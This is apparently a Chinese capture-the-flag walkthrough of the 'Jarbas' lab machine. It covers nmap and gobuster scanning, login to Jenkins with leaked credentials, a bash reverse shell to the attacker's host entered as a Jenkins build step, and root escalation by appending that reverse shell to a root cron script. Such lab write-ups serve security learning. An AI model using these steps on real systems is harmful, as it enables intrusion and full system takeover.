

JARBAS

2023年9月17日 18:31

一.扫描阶段:

1.主机发现, 端口扫描

2.详细扫描:

```
(kali) Pduclj [-/nmapscan/detail]
$ cat jarbas.nmap
# Nmap 7.94 scan initiated Thu Sep 14 21:02:39 2023 as: nmap -sT -sV -sC -O -p22,80,3306,8080 -oA nmapscan/detail/jarbas 192.168.253.140
Nmap scan report for bogon (192.168.253.140)
Host is up (0.00062s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.4 (protocol 2.0)
|_ ssh-hostkey:
|_ 2048 28:b:c49:3c:6c:43:29:57:3c:b8:85:9a:6d:3c:16:3f (RSA)
|_ 256 a0:1b:90:2c:da:79:eb:8f:3b:14:de:bb:3f:d2:e7:3f (ECDSA)
|_ 256 57:72:08:54:b7:56:ff:c3:e6:16:6f:97:cf:ae:7f:76 (ED25519)
80/tcp    open  http      Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_ http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_ http-title: Jarbas - O Seu Mordomo Virtual!
|_ http-methods:
|_ Potentially risky methods: TRACE
3306/tcp   open  mysql     MariaDB (unauthorized)
8080/tcp   open  http      Jetty 9.4.z-SNAPSHOT
|_ http-server-header: Jetty(9.4.z-SNAPSHOT)
|_ http-robots.txt: 1 disallowed entry
|_
|_ http-title: Site doesn't have a title (text/html; charset=utf-8).
MAC Address: 00:0C:29:21:CE:E3 (VMware)
Warning: OSscan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
# Nmap done at Thu Sep 14 21:02:47 2023 -- 1 IP address (1 host up) scanned in 9.00 seconds
```

3.脚本漏洞扫描:

```
(kali) Pduclj [-/nmapscan/vuln]
$ cat jarbas.nmap
# Nmap 7.94 scan initiated Thu Sep 14 21:05:17 2023 as: nmap --script=vuln -p22,80,3306,8080 -oA nmapscan/vuln/jarbas 192.168.253.140
Nmap scan report for bogon (192.168.253.140)
Host is up (0.00061s latency).

PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
|_ http-trace: TRACE is enabled
|_ http-csrf: Couldn't find any CSRF vulnerabilities.
|_ http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_ http-dombased-xss: Couldn't find any DOM based XSS.
|_ http-enum:
|_ /icons/: Potentially interesting folder w/ directory listing
3306/tcp   open  mysql
8080/tcp   open  http-proxy
|_ http-enum:
|_ /robots.txt: Robots file
MAC Address: 00:0C:29:21:CE:E3 (VMware)

# Nmap done at Thu Sep 14 21:06:18 2023 -- 1 IP address (1 host up) scanned in 61.05 seconds
```

二.web渗透

1.连接到192.168.253.140

网页以及源码并无特殊之处

2.利用漏洞扫描枚举的80以及8080端口网页路径

8080端口的路径发现名为Jenkins的登录系统, 因为不知道用户名和密码且破解难度高, 固将该优先级排后

3.对80端口进行目录爆破 `sudo gobuster dir -u http://192.168.253.140 -x .html --wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt`
-x:指定爆破目录的格式, 该次为html, 如果此次没有指定则爆破不出来

```
(kali) Pduclj [-/]
$ sudo gobuster dir -u http://192.168.253.140 -x .html --wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
=====
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url:      http://192.168.253.140
[+] Method:   GET
[+] Threads:  10
[+] Wordlist:  /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Negative status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: html
[+] Found: 20
```

```
(kali@Pduck)~$ sudo gobuster dir -u http://192.168.253.140 -x .html --wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url:      http://192.168.253.140
[+] Method:   GET
[+] Threads:  10
[+] Wordlist:  /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Negative status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: html
[+] Timeout:  10s

Starting gobuster in directory enumeration mode

/index.html (Status: 200) [Size: 32808]
/.html (Status: 403) [Size: 207]
/access.html (Status: 200) [Size: 359]
/.html (Status: 403) [Size: 207]
Progress: 441120 / 441122 (100.00%)
Finished
```

发现/access.html下有三组密码

破解:

tiago: italia99

trindade:vipsu

eder:marianna

尝试进行登录

发现都登录失败, 尝试账户密码混乱输入eder-vipsu成功 (该过程也可生成账户和密码字典进行爆破)

四.shell脚本注入

1.登录到名为jenkins的管理页面

Build



在build中找到execute shell反弹shell选项, 输入/bin/bash -i >& /dev/tcp/192.168.253.141/4444 0>&1命令

2.在终端开启监听: nc -lvp 4444

查看: whoami | id | unam -a | sudo -l : 发现当前没有任何权限

3.想办法提权, 看看有哪些命令是有root权限的, 发现很多命令都用不了

看看当前有没有定期执行任务 cat /etc/crontab

```
bash-4.2$ cat /etc/crontab
cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root

# For details see man 4 crontabs

# Example of job definition:
# .----- minute (0 - 59)
# | .----- hour (0 - 23)
# | | .----- day of month (1 - 31)
# | | | .----- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .----- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,w
ed,thu,fri,sat
# | | | | |
# * * * * * user-name  command to be executed
*/5 * * * * root /etc/script/CleaningScript.sh >/dev/null 2>&1
bash-4.2$
```

发现一个以root权限每五分钟执行的文件; 查看

```
bash-4.2$ cat /etc/script/CleaningScript.sh
cat /etc/script/CleaningScript.sh
#!/bin/bash

rm -rf /var/log/httpd/access_log.txt
```

将反弹shell写入其中: echo "/bin/bash -i >& /dev/tcp/192.168.253.141/4444 0>&1" >> /etc/script/CleaningScript.sh

开启监听等待五分钟, 获得具有root用户权限的登录